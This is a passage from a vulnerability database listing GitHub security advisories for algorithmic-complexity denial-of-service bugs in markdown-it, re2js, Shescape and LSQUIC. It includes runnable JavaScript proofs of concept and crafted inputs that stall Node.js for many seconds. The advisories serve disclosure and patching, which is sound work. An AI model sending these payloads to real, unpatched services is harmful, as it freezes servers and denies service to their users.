          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "markdown-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "15.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-111758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T20:28:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA link reference definition whose label or title is never closed is O(n\u00b2) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4\u20135\u00d7 per doubling. No options are required to trigger it.\n\n### Details\n\nsrc/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n\u00b2). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable(\u0027reference\u0027) makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark \u00a76.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.\n\nThe observed output from PoC was:\nunclosed title n=100000   200009 B    3585.5 ms\nunclosed title n=200000   400009 B   18107.1 ms   (5.05x)\nunclosed title n=400000   800009 B   73954.4 ms   (4.08x)\n\nRegression comparison at 313 KB: 13.0.2 \u2192 125 ms, 14.1.0 \u2192 11.4 s, 15.0.0 \u2192 10.6 s, 15.0.2 \u2192 10.7 s.\n\n### Proof of concept\n\nHow to execute the PoC:\n1. mkdir -p markdown-it-poc \u0026\u0026 cd markdown-it-poc\n2. npm init -y\n3. npm i markdown-it@15.0.2\n4. node poc_markdown_it.js\n\nPoC below is:\n```javascript\n// poc_markdown_it.js\n// Requires: npm install markdown-it@15.0.2\nconst MarkdownIt = require(\u0027markdown-it\u0027);\nconst md = new MarkdownIt();\n\nfunction bench(label, src) {\n  const t0 = process.hrtime.bigint();\n  md.render(src);\n  const t1 = process.hrtime.bigint();\n  console.log(\n    `${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`\n  );\n}\n\n// Unclosed title: one reference definition spread over many lines\nfor (const n of [100000, 200000, 400000]) {\n  bench(`unclosed title n=${n}`, \u0027[a]: /u \"\u0027 + \u0027x\\n\u0027.repeat(n));\n}\n\n// Unclosed label\nfor (const n of [5000, 10000, 20000]) {\n  bench(`unclosed label n=${n}`, \u0027[\u0027 + \u0027a\\n\u0027.repeat(n));\n}\n```\n\n### Impact\n\nThis is an algorithmic-complexity denial of service (CWE-407). Any server that renders user Markdown with markdown-it is affected with default options, including comments, issues, chat, wikis, docs previews, and LLM chat UIs. A ~400 KB request body blocks the Node.js event loop for about 18 seconds and an ~800 KB body for about 74 seconds. This is the same class and attacker model as GHSA-253c, but it is reachable without any opt-in option, since the affected path is a core block rule.",
  "id": "GHSA-gfr2-rv44-r23c",
  "modified": "2026-10-20T20:28:44Z",
  "published": "2026-10-20T20:28:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/security/advisories/GHSA-gfr2-rv44-r23c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/commit/48fbc465812c440020c663f040ab22deaf8f1eca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markdown-it/markdown-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/releases/tag/14.3.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/releases/tag/15.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0)"
}

GHSA-GG6H-894W-4M9C

Vulnerability from github – Published: 2026-10-28 21:10 – Updated: 2026-10-28 21:10
VLAI
Summary
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
Details

Summary

Using the opt-in LOOKBEHINDS flag together with any repeated-matching API (matcher().find() in a loop, matchAll(), split(), matcher().replaceAll()) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes 36.7–38.7 seconds of CPU.

Description

Root cause

In build/index.cjs, Machine.match:

let currentPos = this.prog.numLb > 0 ? 0 : pos;   // ~line 1907
...
if (this.ncap === 0 && this.matched) break;        // ~line 1953

Any pattern containing a lookbehind sets prog.numLb > 0, which forces the scan to always restart at offset 0, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single find() call. The early-exit optimization that would otherwise stop at the first match only fires when ncap === 0, but every Matcher-based API (find/matchAll/split/replaceAll) always requests ncap = 2 (one capture group slot) even for a captureless lookbehind pattern — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find.

A find-loop over k matches in an n-character string therefore costs k × Θ(n); for dense matches k ∝ n, giving Θ(n²) total.

Isolating control

Identical find-loop, identical input sizes, same 2-character literal pattern shape — but without the LOOKBEHINDS flag:

n with LOOKBEHINDS (lookbehind pattern) without (plain literal) native JS RegExp lookbehind
2,000 204–228 ms 3 ms 0 ms
4,000 877–899 ms 4 ms 0 ms
8,000 5,746–6,599 ms 7 ms 1 ms
16,000 36,667–38,732 ms 6 ms 1 ms

This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.

Impact

  • re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertised LOOKBEHINDS feature.
  • Realistic affected code paths: log/text processing that tokenizes or redacts using a lookbehind-based pattern (matchAll, split, replaceAll are the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content).
  • A single ~16–32 KB request pins a CPU core for tens of seconds to minutes; Node.js being single-threaded, this freezes the whole worker process for the duration. No authentication or special pattern knowledge is required from the attacker — ordinary alternating text ("abababab...") triggers it.

Reproduction (copy-paste runnable)

create file poc.js

'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
//   npm pack re2js@2.8.6 --ignore-scripts && tar -xzf re2js-2.8.6.tgz
//   node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));

const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);

function timeFindLoop(n) {
  const s = 'ab'.repeat(n / 2);
  const t0 = Date.now();
  const m = re.matcher(s);
  let count = 0;
  while (m.find()) count++;
  return { ms: Date.now() - t0, count };
}

console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
  const r = timeFindLoop(n);
  results.push(r.ms);
  console.log(`${n}, ${r.count}, ${r.ms}`);
}

const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);

and run in terminal

npm pack re2js@2.8.6 --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package

poc.js times a matcher(s).find() loop over (?<=a)b + RE2JS.LOOKBEHINDS on inputs of 2,000/4,000/8,000/16,000 chars and reports the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or exceeding the 4× quadratic signature), reaching tens of seconds at 16,000 chars. Run twice; results are deterministic.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "re2js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:10:01Z",
    "nvd_published_at": "2026-10-28T18:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUsing the opt-in `LOOKBEHINDS` flag together with any repeated-matching API\n(`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`)\ncauses quadratic-time (\u0398(n\u00b2)) matching, contradicting the library\u0027s own\n\"linear time matching\" guarantee. A single call with a 16,000-character input\ntakes **36.7\u201338.7 seconds of CPU**.\n\n### Description\n\n#### Root cause\n\nIn `build/index.cjs`, `Machine.match`:\n\n```js\nlet currentPos = this.prog.numLb \u003e 0 ? 0 : pos;   // ~line 1907\n...\nif (this.ncap === 0 \u0026\u0026 this.matched) break;        // ~line 1953\n```\n\nAny pattern containing a lookbehind sets `prog.numLb \u003e 0`, which forces the\nscan to **always restart at offset 0**, regardless of the requested start\nposition \u2014 the lookbehind automaton is re-seeded and the whole input is\nre-walked on every single `find()` call. The early-exit optimization that\nwould otherwise stop at the first match only fires when `ncap === 0`, but\nevery `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always\nrequests `ncap = 2` (one capture group slot) **even for a captureless\nlookbehind pattern** \u2014 so the early exit never triggers through those APIs,\nand the scan continues to the end of the input on every find.\n\nA find-loop over *k* matches in an *n*-character string therefore costs\n*k* \u00d7 \u0398(*n*); for dense matches *k* \u221d *n*, giving **\u0398(n\u00b2)** total.\n\n#### Isolating control\n\nIdentical find-loop, identical input sizes, same 2-character literal pattern\n*shape* \u2014 but **without** the `LOOKBEHINDS` flag:\n\n| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind |\n|---|---|---|---|\n| 2,000 | 204\u2013228 ms | 3 ms | 0 ms |\n| 4,000 | 877\u2013899 ms | 4 ms | 0 ms |\n| 8,000 | 5,746\u20136,599 ms | 7 ms | 1 ms |\n| 16,000 | 36,667\u201338,732 ms | 6 ms | 1 ms |\n\nThis isolates the lookbehind machinery itself \u2014 not pattern length, not\nmatch density in the abstract \u2014 as the exact and sole cause.\n\n#### Impact\n\n- `re2js`\u0027s entire value proposition is being an RE2-style engine with\n  **linear-time, no-backtracking** matching, specifically to resist\n  algorithmic-complexity attacks that plague backtracking regex engines.\n  This finding defeats that guarantee for any consumer using the advertised\n  `LOOKBEHINDS` feature.\n- Realistic affected code paths: log/text processing that tokenizes or\n  redacts using a lookbehind-based pattern (`matchAll`, `split`,\n  `replaceAll` are the natural APIs for exactly this), applied to\n  attacker-influenced text (user input, uploaded logs, scraped content).\n- A single ~16\u201332 KB request pins a CPU core for tens of seconds to minutes;\n  Node.js being single-threaded, this freezes the whole worker process for\n  the duration. No authentication or special pattern knowledge is required\n  from the attacker \u2014 ordinary alternating text (`\"abababab...\"`) triggers it.\n\n#### Reproduction (copy-paste runnable)\n\ncreate file poc.js\n\n```js\n\u0027use strict\u0027;\n// PoC: quadratic-time DoS in re2js\u0027s lookbehind matching (opt-in LOOKBEHINDS flag).\n// Usage:\n//   npm pack re2js@2.8.6 --ignore-scripts \u0026\u0026 tar -xzf re2js-2.8.6.tgz\n//   node poc.js ./package\nconst path = require(\u0027path\u0027);\nconst pkgDir = process.argv[2] || \u0027./package\u0027;\nconst { RE2JS } = require(path.resolve(pkgDir, \u0027build/index.cjs\u0027));\n\nconst re = RE2JS.compile(\u0027(?\u003c=a)b\u0027, RE2JS.LOOKBEHINDS);\n\nfunction timeFindLoop(n) {\n  const s = \u0027ab\u0027.repeat(n / 2);\n  const t0 = Date.now();\n  const m = re.matcher(s);\n  let count = 0;\n  while (m.find()) count++;\n  return { ms: Date.now() - t0, count };\n}\n\nconsole.log(\u0027n, matches, ms\u0027);\nconst sizes = [2000, 4000, 8000, 16000];\nconst results = [];\nfor (const n of sizes) {\n  const r = timeFindLoop(n);\n  results.push(r.ms);\n  console.log(`${n}, ${r.count}, ${r.ms}`);\n}\n\nconst ratio = results[results.length - 1] / results[results.length - 2];\nconsole.log(\u0027\u0027);\nconsole.log(\u0027time ratio for the last doubling of n:\u0027, ratio.toFixed(2), \u0027(~2 =\u003e linear, ~4 =\u003e quadratic)\u0027);\nconsole.log(ratio \u003e 3 ? \u0027PASS  quadratic scaling confirmed on the REAL published package\u0027 : \u0027FAIL  scaling looks linear\u0027);\nprocess.exit(ratio \u003e 3 ? 0 : 1);\n```\n\nand run in terminal\n\n```sh\nnpm pack re2js@2.8.6 --ignore-scripts\ntar -xzf re2js-2.8.6.tgz\nnode poc.js ./package\n```\n\n`poc.js` times a `matcher(s).find()` loop over `(?\u003c=a)b` +\n`RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports\nthe doubling ratio. Expected: clearly superlinear (ratio \u226b 2, approaching or\nexceeding the 4\u00d7 quadratic signature), reaching tens of seconds at 16,000\nchars. Run twice; results are deterministic.",
  "id": "GHSA-gg6h-894w-4m9c",
  "modified": "2026-10-28T21:10:01Z",
  "published": "2026-10-28T21:10:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116795"
    },
    {
      "type": "WEB",
      "url": "https://github.com/le0pard/re2js/pull/59"
    },
    {
      "type": "WEB",
      "url": "https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/le0pard/re2js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/le0pard/re2js/releases/tag/2.8.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RE2JS: Quadratic-time denial of service in re2js lookbehind matching"
}

GHSA-GHGV-34P7-4R7X

Vulnerability from github – Published: 2025-02-20 03:32 – Updated: 2025-02-20 03:32
VLAI
Details

A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-20T03:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.",
  "id": "GHSA-ghgv-34p7-4r7x",
  "modified": "2025-02-20T03:32:03Z",
  "published": "2025-02-20T03:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24947"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litespeedtech/lsquic/releases/tag/v4.2.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ncc-pbottine/QUIC-Hash-Dos-Advisory"
    },
    {
      "type": "WEB",
      "url": "https://xxhash.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GM3R-Q2WP-HW87

Vulnerability from github – Published: 2026-07-24 22:35 – Updated: 2026-08-12 19:40
VLAI
Summary
Shescape: Quadratic-time denial of service in the flag-protection
Details

Impact

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    //flagProtection unspecified
    // Or
    flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.

For more information

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.11"
            },
            {
              "fixed": "2.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:35:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThis impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.\n\nAn attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.\n\n```javascript\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    //flagProtection unspecified\n    // Or\n    flagProtection: true,\n};\n\n// 2. Payload\nlet payload = \"\\u0000-\".repeat(32000);\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet callback;\n\ncallback = () =\u003e shescape.escape(payload);\n// Or\ncallback = () =\u003e shescape.escapeAll([payload]);\n// Or\ncallback = () =\u003e shescape.quote(payload);\n// Or\ncallback = () =\u003e shescape.quoteAll([payload]);\n\nconst t0 = process.hrtime.bigint();\ncallback();\nconst ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\n// 4. Impact\nconsole.log(\"Duration:\", ms);\n// Outputs \"Duration:\" followed by a number close to 20000\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
  "id": "GHSA-gm3r-q2wp-hw87",
  "modified": "2026-08-12T19:40:52Z",
  "published": "2026-07-24T22:35:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ericcornelissen/shescape"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shescape: Quadratic-time denial of service in the flag-protection"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.